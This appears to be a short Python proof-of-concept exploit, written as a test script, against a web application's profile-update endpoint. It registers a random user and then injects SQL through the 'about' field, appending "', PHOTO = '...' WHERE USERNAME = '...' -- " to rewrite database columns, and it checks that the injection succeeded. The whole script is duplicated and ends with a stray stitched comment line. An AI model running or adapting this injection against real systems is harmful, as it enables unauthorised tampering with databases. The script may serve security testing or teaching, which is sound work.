from requests import session, get
from sys import argv
from random import randint

SERVER = argv[1]

s = session()
username = str(randint(2 ** 27, 2 ** 28))
password = str(randint(2 ** 27, 2 ** 28))
photo = str(randint(2 ** 27, 2 ** 28))

# Cleaning DB
r = get(SERVER + "/init")
assert "Initialisation DONE!" in r.text

# User Registration
data = {
    "username": username,
    "password": password
}
r = s.post(SERVER + "/register", data=data)

assert "Welcome" in r.text
assert username in r.text

# Photo Update
about = "', PHOTO = '{}' WHERE USERNAME = '{}' -- ".format(photo, username)
data = {
    "name": "",
    "currentpassword": password,
    "newpassword": "",
    "about": about
}
files = {
    "photo": ""
}
r = s.post(SERVER + "/update_profile", data=data, files=files)

assert "Succesfully" in r.text
assert username in r.text
assert photo in r.text

print("Success!")
s.close()

from requests import session, get
from sys import argv
from random import randint

SERVER = argv[1]

s = session()
username = str(randint(2 ** 27, 2 ** 28))
password = str(randint(2 ** 27, 2 ** 28))
photo = str(randint(2 ** 27, 2 ** 28))

# Cleaning DB
r = get(SERVER + "/init")
assert "Initialisation DONE!" in r.text

# User Registration
data = {
    "username": username,
    "password": password
}
r = s.post(SERVER + "/register", data=data)

assert "Welcome" in r.text
assert username in r.text

# Photo Update
about = "', PHOTO = '{}' WHERE USERNAME = '{}' -- ".format(photo, username)
data = {
    "name": "",
    "currentpassword": password,
    "newpassword": "",
    "about": about
}
files = {
    "photo": ""
}
r = s.post(SERVER + "/update_profile", data=data, files=files)

assert "Succesfully" in r.text
assert username in r.text
assert photo in r.text

print("Success!")
s.close()

# Cleaning DB # User Registration # Photo Update